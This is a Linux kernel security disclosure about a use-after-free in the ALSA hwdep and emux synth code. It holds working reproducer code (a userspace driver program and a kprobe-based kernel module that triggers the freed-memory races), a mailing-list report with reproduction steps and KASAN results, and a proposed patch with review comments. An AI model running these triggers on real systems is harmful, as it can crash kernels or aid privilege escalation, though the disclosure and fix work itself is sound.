		"(host frees emux now)\n", n, secs);
	fflush(stdout);
	sleep(secs);
	printf("MR03MIDI: writing again on freed rmidi\n");
	fflush(stdout);
	for (n = 0; n < 8; n++)
		{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
	printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
	fflush(stdout);
	close(fd);
	printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
	printf("MR03MIDI: done\n");
	return 0;
}

/* ---- FW-MR-04 ---- */

static int plan_mr04pcm(int secs)

{
	int fd, i;
	unsigned int ver = 0;
	struct snd_pcm_info info;

	waitdev("/dev/snd/pcmC1D0p", 15000);
	fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
		return 1;
	}
	printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
	fflush(stdout);
	for (i = 0; i < 64; i++) {
		ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
		memset(&info, 0, sizeof(info));
		ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
		usleep(1000);
	}
	printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
		"(host frees pcm now)\n", secs);
	fflush(stdout);
	sleep(secs);
	printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
	fflush(stdout);
	memset(&info, 0, sizeof(info));
	ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
	printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
	fflush(stdout);
	close(fd);
	printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/pcmC1D0p", O_WRONLY));
	printf("MR04PCM: done\n");
	return 0;
}

/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */

static int ctl_open(void)

{
	int fd = open("/dev/snd/controlC0", O_RDWR);

	if (fd < 0)
		fprintf(stderr, "open controlC0: %s\n", strerror(errno));
	return fd;
}

static int plan_mr01read(int secs)

{
	int fd, i, n, err;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;
	unsigned long until = (unsigned long)time(NULL) + secs;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	ids = calloc(256, sizeof(*ids));
	printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
	fflush(stdout);
	i = 0;
	while ((unsigned long)time(NULL) < until) {
		memset(&list, 0, sizeof(list));
		list.offset = 0;
		list.space = 256;
		list.pids = ids;
		err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
		if (err < 0)
			break;
		for (n = 0; n < (int)list.count && n < 256; n++) {
			memset(&info, 0, sizeof(info));
			info.id = ids[n];
			ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
		}
		if ((++i % 64) == 0) {
			printf("MR01READ: round %d (count=%u)\n", i, list.count);
			fflush(stdout);
		}
		usleep(2000);
	}
	printf("MR01READ: done (%d rounds)\n", i);
	free(ids);
	close(fd);
	return 0;
}

static int plan_mr06storm(int secs)

{
	int fd, card, i, added = 0;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;
	struct snd_ctl_elem_id remove_id;
	unsigned long until = (unsigned long)time(NULL) + secs;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	/* take the name of an existing CARD-interface control so the user
	 * control shares the ctl_hash key of the jack controls that the
	 * reconfig probe's get_available_index() looks up locklessly */
	ids = calloc(256, sizeof(*ids));
	memset(&list, 0, sizeof(list));
	list.offset = 0;
	list.space = 256;
	list.pids = ids;
	if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
		fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
		free(ids);
		close(fd);
		return 1;
	}
	memset(&info, 0, sizeof(info));
	for (i = 0; i < (int)list.count && i < 256; i++) {
		info.id = ids[i];
		if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
			continue;
		if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
			break;
	}
	if (i >= (int)list.count) {
		fprintf(stderr, "no CARD control found\n");
		free(ids);
		close(fd);
		return 1;
	}
	printf("MR06STORM: adding/removing iface=CARD user control '%s' "
		"for %ds\n", info.id.name, secs);
	fflush(stdout);

	i = 0;
	while ((unsigned long)time(NULL) < until) {
		memset(&info, 0, sizeof(info));
		info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
		strncpy((char *)info.id.name, "Headphone Jack",
			sizeof(info.id.name) - 1);
		info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
		info.count = 1;
		info.owner = 0;
		if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
			goto drop;
		added++;
		remove_id = info.id;
		ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
		if ((++i % 256) == 0) {
			printf("MR06STORM: round %d (added=%d)\n", i, added);
			fflush(stdout);
		}
		usleep(500);
	}
	(void)card;
	printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
	free(ids);
	close(fd);
	return 0;
}

static int plan_mr01dump(void)

{
	int fd, n, err;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	ids = calloc(256, sizeof(*ids));
	memset(&list, 0, sizeof(list));
	list.offset = 0;
	list.space = 256;
	list.pids = ids;
	err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
	if (err < 0) {
		printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
		free(ids);
		close(fd);
		return 1;
	}
	printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
		list.count);
	fflush(stdout);
	for (n = 0; n < (int)list.count && n < 256; n++) {
		memset(&info, 0, sizeof(info));
		info.id = ids[n];
		ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
		printf("MR01DUMP: numid=%-5u iface=%d %s\n",
			ids[n].numid, ids[n].iface, ids[n].name);
		fflush(stdout);
	}
	free(ids);
	close(fd);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
		return 2;
	}
	if (!strcmp(argv[1], "mr02hold"))
		return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
	if (!strcmp(argv[1], "mr02hammer"))
		return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
	if (!strcmp(argv[1], "mr03midi"))
		return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
	if (!strcmp(argv[1], "mr04pcm"))
		return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
	if (!strcmp(argv[1], "mr01dump"))
		return plan_mr01dump();
	if (!strcmp(argv[1], "mr01read"))
		return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
	if (!strcmp(argv[1], "mr06storm"))
		return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
	if (!strcmp(argv[1], "waitdev"))
		return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
	fprintf(stderr, "unknown plan %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
/*
* synthrace.c - dynamic verification harness for the emux wavetable audit
* cases SYNTH-MR-01 / SYNTH-MR-03 / SYNTH-MR-04
* (docs/manual-review-sound-synth-2026-11-26.md).
*
* It drives the REAL in-tree emux code (snd-emux-synth.ko: emux.c,
* emux_synth.c, soundfont.c, emux_hwdep.c, emux_proc.c, emux_seq.c) through
* its exported API with a fake backend ("hw"), replicating exactly the
* snd_emu10k1_synth_probe()/snd_emu10k1_synth_remove() usage shape:
*
* snd_emux_new() -> ops_setup -> fields -> snd_emux_register()
* snd_emux_free() (sub-driver remove body)
*
* No kernel source is modified; the audited code paths are the byte-identical
* in-tree modules (diff vs race/linux verified zero).
*
* Plans (module params, write "1" to trigger):
* mr01nat - SYNTH-MR-01 natural hammering: kernel kthread loops

 *              snd_emux_note_on() on the real emux port while another kernel
 *              kthread loops the REAL snd_soundfont_remove_unlocked() /
 *              snd_soundfont_remove_samples() (the hwdep ioctl bodies).
 *              The soundfont itself is loaded from userspace through the real
 *              hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path (synth_test load-loop).
 *   mr01ctl  - SYNTH-MR-01 controlled window: kprobe post_handler on
 *              snd_soundfont_search_zone stalls the note_on thread right at
 *              the start of its unprotected table[] window; one
 *              snd_soundfont_remove_unlocked() runs and frees zone/sample/
 *              block underneath; release -> cascaded UAF.

* free - SYNTH-MR-03/MR-04 trigger: snd_emux_free() with an open,
* hammering hwdep fd (mr03) or proc reader (mr04) on the other
* side. This is the exact snd_emu10k1_synth_remove() body.
*/
#define pr_fmt(fmt) "SYNTHRACE: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
#include <sound/asoundef.h>

static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;

/* ---- fake backend ops (same contract as emu10k1_callback.c) ---- */

static atomic_t mr01_armed = ATOMIC_INIT(0);
static atomic_t mr01_stalled = ATOMIC_INIT(0);

static struct snd_emux_voice *sr_get_voice(struct snd_emux *e,
struct snd_emux_port *port)

{
	int i;

	/*
	 * mr01ctl controlled window: parked mid note_on, AFTER table[] was
	 * filled by snd_soundfont_search_zone() and INSIDE the voice_lock
	 * configuration section, i.e. exactly inside the audited
	 * "search returned -> last table[]/vp->zone/vp->block use" span
	 * (emux_synth.c:63-114). Removing zone/sample/block underneath and
	 * then resuming replays the SYNTH-MR-01 interleaving end-to-end.
	 */
	if (atomic_read(&mr01_armed) && !atomic_xchg(&mr01_stalled, 1)) {
		unsigned long deadline = jiffies + msecs_to_jiffies(20000);

		pr_info("mr01ctl: note_on parked mid-configuration "
			"(table[] window open)\n");
		while (atomic_read(&mr01_armed) &&
		       time_before(jiffies, deadline))
			cpu_relax();
		pr_info("mr01ctl: note_on resuming\n");
	}

	for (i = 0; i < e->max_voices; i++) {
		struct snd_emux_voice *vp = &e->voices[i];

		if (vp->ch < 0) {
			vp->ch = i;
			e->num_voices++;
			return vp;
		}
	}
	/* recycle voice 0 so the hammering never starves */
	if (e->max_voices > 0) {
		e->voices[0].ch = 0;
		return &e->voices[0];
	}
	return NULL;
}

/*
* MR-01 UAF write point analog: emu10k1 start_voice() does
* emem->map_locked++ on the block handed down through vp->block; we touch
* the block the same way (read+write through the freed snd_util_memblk). */
static int mr01_note = 60;
static int mr01_vel = 100;
static atomic_t sr_start_calls = ATOMIC_INIT(0);

static int sr_start_voice(struct snd_emux_voice *vp)

{
	struct snd_util_memblk *b = vp->block;

	atomic_inc(&sr_start_calls);
	if (b)
		b->offset++;		/* UAF write on freed memblk */
	return 0;
}

static void sr_trigger(struct snd_emux_voice *vp) {} static void sr_release(struct snd_emux_voice *vp) {} static void sr_update(struct snd_emux_voice *vp, int update) {}

/* emu10k1 terminate_voice() reads vp->block (emem->map_locked--): analog */ static void sr_terminate(struct snd_emux_voice *vp)

{
	struct snd_util_memblk *b = vp->block;

	if (b) {
		unsigned int t = b->size;	/* UAF read on freed memblk */

		(void)t;
	}
}

static int sr_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)

{
	sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
	if (!sp->block)
		return -ENOMEM;
	return 0;
}

static int sr_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)

{
	if (sp->block) {
		snd_util_mem_free(hdr, sp->block);
		sp->block = NULL;
	}
	return 0;
}

static void sr_sample_reset(struct snd_emux *e)

{
	snd_emux_terminate_all(e);	/* same as snd_emu8000_sample_reset() */
}

/*
* SYNTH-MR-01's practically exploitable variant is the EMU10K1 backend
* (emu10k1_ops has NO .sample_reset, emu10k1_callback.c:51-63): removals
* then never terminate playing voices, so snd_emux_voice::block/::zone stay
* dangling after snd_emu10k1_synth_free()/kfree(sp) and every later
* terminate (e.g. voice recycle in note_on) dereferences the freed block.
* Default to that audited shape; sample_reset_en=1 switches to the EMU8000
* shape (snd_emu8000_patch.c registers snd_emu8000_sample_reset). */
static int sample_reset_en;
module_param(sample_reset_en, int, 0400);

static const struct snd_emux_operators sr_ops = {
.owner = THIS_MODULE,
.get_voice = sr_get_voice,
.prepare = sr_start_voice,
.trigger = sr_trigger,
.release = sr_release,
.update = sr_update,
.terminate = sr_terminate,
.sample_new = sr_sample_new,
.sample_free = sr_sample_free,
};

/* ---- shared setup/teardown ---- */

/*
* snd_emux_note_on() and the snd_soundfont_remove_*() bodies are real,
* non-exported global symbols of snd-emux-synth.ko. Resolve them at runtime
* via kprobe registration (kprobe-addr method, same technique as
* kmod/nmi/nmi_race.c) and call them through their exact prototypes. */
typedef void (*sr_note_on_t)(void *port, int note, int vel,

			     struct snd_midi_channel *chan);

typedef int (*sr_sf_op_t)(struct snd_sf_list *sflist);

static sr_note_on_t sr_note_on;
static sr_sf_op_t sr_remove_unlocked;
static sr_sf_op_t sr_remove_samples;

static void *sr_kallsym(const char *name)

{
	struct kprobe kp;
	void *addr;

	memset(&kp, 0, sizeof(kp));
	kp.symbol_name = name;
	if (register_kprobe(&kp) < 0) {
		pr_err("kallsym(%s) failed\n", name);
		return NULL;
	}
	addr = kp.addr;
	unregister_kprobe(&kp);
	return addr;
}

static int sr_resolve_syms(void)

{
	sr_note_on = (sr_note_on_t)sr_kallsym("snd_emux_note_on");
	sr_remove_unlocked =
		(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_unlocked");
	sr_remove_samples =
		(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_samples");
	return sr_note_on && sr_remove_unlocked && sr_remove_samples ?
		0 : -ENOENT;
}

static int sr_emux_setup(void)

{
	int err;

	err = snd_emux_new(&emu);
	if (err < 0)
		return err;

	emu->ops = sr_ops;
	if (sample_reset_en)
		emu->ops.sample_reset = sr_sample_reset;
	emu->hw = card;		/* non-NULL "hardware"; never dereferenced */
	emu->max_voices = 8;
	emu->num_ports = 1;
	emu->midi_ports = 0;	/* skip virmidi: not needed for these cases */
	emu->hwdep_idx = 0;	/* /dev/snd/hwC0D0 */
	emu->linear_panning = 0;
	emu->memhdr = snd_util_memhdr_new(0x100000);
	if (!emu->memhdr) {
		snd_emux_free(emu);
		emu = NULL;
		return -ENOMEM;
	}

	err = snd_emux_register(emu, card, 0, "synthrace");
	if (err < 0) {
		pr_err("snd_emux_register failed: %d\n", err);
		snd_util_memhdr_free(emu->memhdr);
		snd_emux_free(emu);
		emu = NULL;
		return err;
	}
	/*
	 * The real emu10k1 flow nests snd_emux_register() inside the outer
	 * snd_card_register() (seq-device probe), which then registers the
	 * emux proc entry created above. Replicate that final registration.
	 */
	snd_card_register(card);
	pr_info("emux registered: hwdep=hwC0D0 sflist=%p proc ready\n",
		emu->sflist);
	return 0;
}

static void sr_card_new(void)

{
	int err;

	parent = root_device_register("synthrace");
	if (IS_ERR(parent)) {
		parent = NULL;
		return;
	}
	err = snd_card_new(parent, 0, "synthrace", THIS_MODULE, 0, &card);
	if (err < 0) {
		pr_err("snd_card_new failed: %d\n", err);
		root_device_unregister(parent);
		parent = NULL;
		card = NULL;
	}
}

/* ---- MR-01 natural hammering ---- */

static unsigned int nat_secs = 25;
module_param(nat_secs, uint, 0400);

static struct task_struct *noteon_thr;
static struct task_struct *remove_thr;

static int noteon_fn(void *arg)

{
	struct snd_emux_port *port;
	struct snd_midi_channel *chan;
	unsigned long until = jiffies + nat_secs * HZ;

	port = emu->portptrs[0];
	if (!port) {
		pr_err("mr01nat: no port\n");
		return 0;
	}
	chan = &port->chset.channels[0];
	pr_info("mr01nat: note_on hammer starts\n");
	while (!kthread_should_stop() && time_before(jiffies, until)) {
		sr_note_on(port, 60, 100, chan);
		cond_resched();
	}
	pr_info("mr01nat: note_on hammer done\n");
	return 0;
}

static int remove_fn(void *arg)

{
	unsigned long until = jiffies + nat_secs * HZ;
	int n = 0;

	pr_info("mr01nat: remove hammer starts\n");
	while (!kthread_should_stop() && time_before(jiffies, until)) {
		/* these are the exact bodies of the hwdep ioctls
		 * SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES
		 *
		 * Throttled to ~2.5k/s: at unthrottled rates the removal
		 * outpaces the userspace loader and the soundfont spends its
		 * life empty, starving note_on of zones (see first mr01nat
		 * run: 5.5M removes, 0 collisions). The audit race needs the
		 * font alive while note_on is inside its table[] window.
		 */
		/* REMOVE_LAST_SAMPLES body only: unlike remove_samples()
		 * (snd_sf_clear -> snd_sf_init) it keeps currsf/open_client
		 * intact so the userspace loader can keep re-arming the font,
		 * while still freeing the very zone/sample/block trio of the
		 * audited SYNTH-MR-01 chain */
		sr_remove_unlocked(emu->sflist);
		n++;
		usleep_range(200, 500);
	}
	pr_info("mr01nat: remove hammer done (%d cycles)\n", n);
	return 0;
}

static int mr01nat_set(const char *val, const struct kernel_param *kp)

{
	if (!emu || !emu->portptrs[0])
		return -ENODEV;
	noteon_thr = kthread_run(noteon_fn, NULL, "synthrace_noteon");
	remove_thr = kthread_run(remove_fn, NULL, "synthrace_remove");
	return 0;
}

static const struct kernel_param_ops mr01nat_ops = { .set = mr01nat_set }; module_param_cb(mr01nat, &mr01nat_ops, NULL, 0200);

/* ---- MR-01 controlled window (park inside sr_get_voice, see above) ---- */

static struct completion mr01_done;

static int mr01_noteon_once(void *arg)

{
	struct snd_emux_port *port;
	struct snd_midi_channel *chan;

	port = emu->portptrs[0];
	chan = &port->chset.channels[0];
	atomic_set(&sr_start_calls, 0);
	sr_note_on(port, mr01_note, mr01_vel, chan);
	pr_info("mr01ctl: note_on returned, start_voice calls=%d\n",
		atomic_read(&sr_start_calls));
	complete(&mr01_done);
	return 0;
}

static int mr01ctl_set(const char *val, const struct kernel_param *kp)

{
	struct task_struct *t;
	int rc;

	if (!emu || !emu->portptrs[0])
		return -ENODEV;
	if (!sr_note_on || !sr_remove_unlocked || !sr_remove_samples)
		return -ENOENT;

	init_completion(&mr01_done);
	atomic_set(&mr01_stalled, 0);
	atomic_set(&mr01_armed, 1);

	t = kthread_run(mr01_noteon_once, NULL, "synthrace_ctl");
	if (IS_ERR(t)) {
		atomic_set(&mr01_armed, 0);
		return PTR_ERR(t);
	}
	/* wait until the note_on thread is actually parked mid-window */
	{
		unsigned long deadline = jiffies + msecs_to_jiffies(8000);

		while (!atomic_read(&mr01_stalled) &&
		       time_before(jiffies, deadline))
			msleep(1);
	}
	if (!atomic_read(&mr01_stalled)) {
		atomic_set(&mr01_armed, 0);
		wait_for_completion_timeout(&mr01_done,
					    msecs_to_jiffies(2000));
		pr_err("mr01ctl: note_on never parked; aborted\n");
		return -EIO;
	}
	/* free zone/sample/block underneath the parked note_on */
	pr_info("mr01ctl: running snd_soundfont_remove_unlocked()\n");
	rc = sr_remove_unlocked(emu->sflist);
	pr_info("mr01ctl: remove_unlocked returned %d\n", rc);
	msleep(50);
	atomic_set(&mr01_armed, 0);	/* release: cascaded UAF now */
	wait_for_completion_timeout(&mr01_done, msecs_to_jiffies(10000));
	pr_info("mr01ctl: done\n");
	return 0;
}

static const struct kernel_param_ops mr01ctl_ops = { .set = mr01ctl_set }; module_param_cb(mr01ctl, &mr01ctl_ops, NULL, 0200);

static int probe_set(const char *val, const struct kernel_param *kp)

{
	struct snd_emux_port *port;
	struct snd_midi_channel *chan;

	if (!emu || !emu->portptrs[0])
		return -ENODEV;
	port = emu->portptrs[0];
	chan = &port->chset.channels[0];
	atomic_set(&sr_start_calls, 0);
	pr_info("probe: pre note_on presets_locked=%d fonts=%d zone_ctr=%d\n",
		emu->sflist->presets_locked, emu->sflist->fonts_size,
		emu->sflist->zone_counter);
	sr_note_on(port, 60, 100, chan);
	pr_info("probe: note_on done, start_voice calls=%d\n",
		atomic_read(&sr_start_calls));
	return 0;
}

static const struct kernel_param_ops probe_ops = { .set = probe_set }; module_param_cb(probe, &probe_ops, NULL, 0200);

/* ---- MR-03/MR-04 trigger: sub-driver remove body ---- */

static int free_set(const char *val, const struct kernel_param *kp)

{
	if (!emu)
		return -ENODEV;
	pr_info("free: calling snd_emux_free() (sub-driver remove body)\n");
	snd_emux_free(emu);
	emu = NULL;
	pr_info("free: done\n");
	return 0;
}

static const struct kernel_param_ops free_ops = { .set = free_set }; module_param_cb(free, &free_ops, NULL, 0200);

/* ---- module plumbing ---- */

static int __init synthrace_init(void)

{
	int ret;

	ret = sr_resolve_syms();
	if (ret < 0)
		return ret;
	sr_card_new();
	if (!card)
		return -ENODEV;
	return sr_emux_setup();
}

static void __exit synthrace_exit(void)

{
	if (noteon_thr)
		kthread_stop(noteon_thr);
	if (remove_thr)
		kthread_stop(remove_thr);
	if (emu) {
		snd_emux_free(emu);
		emu = NULL;
	}
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	if (parent) {
		root_device_unregister(parent);
		parent = NULL;
	}
}

module_init(synthrace_init);
module_exit(synthrace_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("emux SYNTH-MR-01/03/04 race verification harness");

#128 lore raw

Re: ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF)

Thank you for your contribution! Sashiko AI review found 6 potential issues to consider: - [High] ALSA: hwdep: invalid container_of() on dev pointer in snd_hwdep_dev_release() - [High] ALSA: hwdep…

Thank you for your contribution! Sashiko AI review found 6 potential issues to consider:
- [High] ALSA: hwdep: invalid container_of() on dev pointer in snd_hwdep_dev_release()
- [High] ALSA: hwdep: UAF of private_data and dangling ops after snd_hwdep_free()
- [High] ALSA: hwdep: missing Signed-off-by trailer in commit message
- [Medium] ALSA: hwdep: memory leak of hwdep in snd_hwdep_new() on device alloc failure
- [Medium] ALSA: hwdep: unlocked get_device() race after lookup in snd_hwdep_open()
- [Medium] ALSA: hwdep: missing device disconnect check in snd_hwdep_open() retry loop
--

commit c91a81d33c679fad4b88ac880eb3238645faac83
Author: 徐晗翔 <[email protected]>

Quoted 129 lines

ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF)

An ALSA sub-driver that registers devices on a live card -- here the emux wavetable drivers (snd_emu10k1_synth / snd_emu8000_synth) behind the sequencer device framework -- removes its hwdep device with snd_device_free() on its own remove path. That synchronously runs snd_hwdep_dev_disconnect() -- which only briefly takes register_mutex and hwdep->open_mutex, wakes the open waiters, unregisters the minor and drops off the registry, without waiting for hw->used to drop and without replacing any file->f_op -- and then snd_hwdep_free() kfree()s struct snd_hwdep. Every open /dev/snd/hwC*D* fd keeps file->private_data pointing at the freed object: in-flight ioctls dereference it (hw->ops, hwdep.c:251-252), a close() runs snd_hwdep_release() on it (hw->card->module read, mutex_lock on the freed open_mutex, hw->used--), and a future open() fails with -ENODEV while the dangling fd stays armed. We reproduced both shapes on vanilla 7.3: a deterministic variant (hold an fd across the sub-driver free, then ioctl+close) hit six distinct use-after-free reports inside snd_hwdep_release() (+0x2b the hw->card->module read, +0x4e/+0x5a the freed open_mutex, +0x80 used--, +0x9b/+0xb3 wake_up), and an in-flight variant (ioctl hammer racing the free) produced 119 reports (snd_hwdep_ioctl+0x11f reading hw->ops, snd_emux_hwdep_ioctl+0x73 walking hw->private_data into the freed emux). The sequencer device framework holds no module reference for bound devices and the hwdep f_ops owner is the ALSA core module, so rmmod snd_emu10k1_synth is not blocked by the open fd. Removing the sub-driver requires root; holding and using the fd needs no privilege.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM x86_64 guest. The emux/sequencer/virmidi code is the byte-identical in-tree modules (built from an unmodified tree with a config variant that only adds SND_EMU10K1/SND_SYNTH_EMUX/SND_SEQ_* as modules); sound/core/hwdep.c and sound/synth/emux/* are byte-identical to mainline 7.3; line numbers below are from 7.3.

* Mechanism

- Open side holds no lifetime guarantee for the object:
snd_hwdep_open() pins the card (sound.c:111) and the card module (hwdep.c:88) only; the emux hwdep registers no ops.open/release (emux_hwdep.c:126-129), so opening pins no sub-driver module at all; success stores file->private_data = hw (hwdep.c:132) and the f_ops owner is the ALSA core module, so the fd outlives any module unload.

- Remove side is synchronous and does not drain:

    snd_emux_delete_hwdep() (emux_hwdep.c:147) -> snd_device_free()
    -> __snd_device_free() -> snd_hwdep_dev_disconnect()
    (hwdep.c:455-473: register_mutex + open_mutex held only briefly,
    wake_up(open_wait), minor unregistered, list_del_init) and then
    snd_hwdep_free() -> kfree(hwdep) (hwdep.c:346).  There is no wait
    for hw->used == 0, no f_op swap, no cancelation point.

- Whole-card removal triggers the same free chain nested inside snd_device_disconnect_all() (the seq device's device_del() synchronously unbinds the sub-driver, whose remove calls the same snd_device_free()); there snd_card_disconnect() has already swapped file->f_op to the dummy shutdown ops, so only syscalls that are already in flight (past the f_op dispatch) can hit the freed object -- a narrower but real window, and it happens before the "wait until all files are closed" barrier runs.

- An open() parked inside its retry loop (hwdep.c:116-118: unlock ->

    schedule -> relock) is woken by the disconnect and then takes the
    mutex / reads hw->card->shutdown on the freed object; with
    exclusive==1 but used==0 (the emux hwdep registers no ops.open)
    the loop can even complete successfully on the disconnected,
    about-to-be-freed device.

* Trigger model

Two parts, both reachable on a soundfont-capable card (emu10k1/emu8000 with the snd-emux-synth sub-driver loaded):

- the unprivileged part: open /dev/snd/hwC*D2 and use it (the exclusive flag limits concurrent openers, not lifetime);

- the privileged part: rmmod snd_emu10k1_synth (or sysfs unbind) while that fd is open or an ioctl is in flight.

Consequence: use-after-free reads/writes on struct snd_hwdep (including mutex_lock() on the freed open_mutex and an hw->ops.ioctl function-pointer load), plus a second-order UAF into the freed emux private data.

* Reproducer (attached: synthrace.c, fwmr_test.c) and results on 7.3

synthrace.c registers a REAL emux on a virtual card through the exported emux API with exactly the snd_emu10k1_synth_probe/remove() shape (snd_emux_new -> ops -> snd_emux_register creating the real /dev/snd/hwC0D0; snd_emux_free() is the sub-driver remove body). Zero kernel source modification. fwmr_test.c is the userspace side.

    # controlled/deterministic (fd held across the free):
    insmod synthrace.ko
    ./fwmr_test mr02hold 4 &     # open, probe, hold, then ioctl+close
    sleep 2
    echo 1 > /sys/module/synthrace/parameters/free   # snd_emux_free()
    # in-flight variant:
    ./fwmr_test mr02hammer 20000 &               # ioctl hammer
    sleep 2
    echo 1 > /sys/module/synthrace/parameters/free

Results (7.3, 2 vCPU, KASAN):

- deterministic hold: first close after the free reports slab-use-after-free at snd_hwdep_release+0x2b/0x4e/0x5a/0x80/ 0x9b/0xb3 (six distinct accesses on one close);

- in-flight hammer: 119 reports -- snd_hwdep_ioctl+0x11f (hw->ops read) x60 and snd_emux_hwdep_ioctl+0x73 x59; reopen after the free returns -ENODEV as expected.

* Suggested patch

Anchor struct snd_hwdep's lifetime on its embedded device: a custom release callback performs the kfree(), every open file takes get_device(hw->dev) and every release path puts it back, and snd_hwdep_free() only drops the card/registry reference (the private_free ordering is deliberately unchanged). The complete patch against 7.3 follows (also kept as patch/0001-fw-mr02.patch); happy to rework per review.

Quoted 1 line

---- patch begins ----

[Severity: High]
The commit message is missing a Signed-off-by trailer and still contains the "---- patch begins ----" separator line.

sound/core/hwdep.c static int snd_hwdep_open(struct inode *inode, struct file * file) · line 87

Quoted 9 lines
sound/core/hwdep.c +1 -0
index fb9034897c561..eebb1328b100b 100644
@@ -84,8 +84,10 @@ static int snd_hwdep_open(struct inode *inode, struct file * file)
 		return -ENXIO;
 	if (hw == NULL)
 		return -ENODEV;
+	get_device(hw->dev);

[Severity: Medium]
Can hw be freed before get_device(hw->dev) runs here?

snd_lookup_minor_data() (and snd_lookup_oss_minor_data()) takes a reference only on card->card_dev and drops sound_mutex before returning hw. Pinning card_dev does not block snd_device_free(card, hwdep) on a live card:

CPU0 CPU1
snd_hwdep_open()
snd_lookup_minor_data()

    lock(&sound_mutex)
    get_device(&card->card_dev)
    unlock(&sound_mutex)
                                  snd_device_free(card, hwdep)
                                    snd_hwdep_dev_disconnect()
                                    snd_hwdep_free()
                                      put_device(hwdep->dev)

get_device(hw->dev) <-- use-after-free

In addition, if snd_hwdep_open() sleeps in its retry loop and is woken by snd_hwdep_dev_disconnect() during sub-driver removal on a live card, hw->card->shutdown is still 0:

sound/core/hwdep.c:snd_hwdep_open() {
    ...
		set_current_state(TASK_INTERRUPTIBLE);
		mutex_unlock(&hw->open_mutex);
		schedule();
		mutex_lock(&hw->open_mutex);
		if (hw->card->shutdown) {
			err = -ENODEV;
			break;
		}
    ...
}

Because the loop never checks under hw->open_mutex whether the hwdep device itself was disconnected (for example via list_empty(&hw->list)), open() can proceed and succeed on the disconnected device.

[ ... ]

Quoted 5 lines
sound/core/hwdep.c +1 -0
@@ -337,6 +342,18 @@ static const struct file_operations snd_hwdep_f_ops = {
 	.mmap		=	snd_hwdep_mmap,
 };
 
+/*

sound/core/hwdep.c static const struct file_operations snd_hwdep_f_ops = { · line 355

Quoted 10 lines
sound/core/hwdep.c +10 -0
+ * The struct snd_hwdep memory itself is freed by the embedded device's
+ * release callback once the last reference (an open file) is dropped;
